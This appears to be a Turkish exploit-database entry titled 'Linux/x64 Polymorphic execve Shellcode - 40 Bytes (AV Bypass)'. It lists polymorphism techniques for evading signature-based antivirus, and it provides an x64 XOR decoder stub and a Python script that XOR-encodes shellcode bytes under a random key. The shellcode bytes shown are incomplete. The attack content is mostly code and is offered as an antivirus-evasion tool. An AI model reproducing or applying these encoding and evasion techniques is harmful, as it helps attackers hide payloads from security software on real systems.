VULN REPORT
/
shellcode
/
ID: 252
Linux/x64 Polymorphic execve Shellcode - 40 Bytes (AV Bypass)
Özet
Bu kayıt, hedef sistemde bulunan bir zafiyeti detaylandırmaktadır. Zafiyet 2026-07-21 tarihinde yayınlanmış olup, topluluktan 68 görüntülenme almıştır. shellcode kategorisinde sınıflandırılmıştır. Kullanıcıların teknik detaylar için Detay sekmesindeki kaynak kodunu incelemeleri önerilir.
exploit_252.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Polimorfik - AV Bypass</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Polymorphic execve Shellcode - 40 Bytes</h2>
<p class="text-sm text-slate-600 mt-2">Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Polimorfizm Teknikleri</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Teknik 1 - XOR Sifreleme:
Shellcode XOR ile sifrelenir, basa cozucu kod eklenir.
Her calistirmada XOR key degisebilir.
Teknik 2 - Instruction Substitution:
mov eax, 0 xor eax, eax (ayni sonuc)
add eax, 1 inc eax (ayni sonuc)
Teknik 3 - NOP Slide + Junk:
Islevsiz NOP komutlari arasina asil kod gizlenir.
Teknik 4 - Call/Pop String Loading:
call sonraki_satir
db '/bin/sh',0
sonraki_satir: pop rdi
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">XOR Decoder Stub x64</h3>
<div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; key = 0xAA
decoder:
lea rsi, [rel encoded]
mov rcx, payload_len
decode_loop:
xor byte [rsi], 0xAA
inc rsi
loop decode_loop
jmp encoded
encoded: ; XOR-encoded shellcode buraya
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Python ile Sifreleme</h3>
<div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import os
sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
key = os.urandom(1)[0]
enc = bytes([b ^ key for b in sc])
print(f"Key: 0x{key:02x}")
print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")
</div>
</div>
</div>
Kayıt İstatistikleri
Görüntülenme
68
İndirmeler
15
Yorumlar
0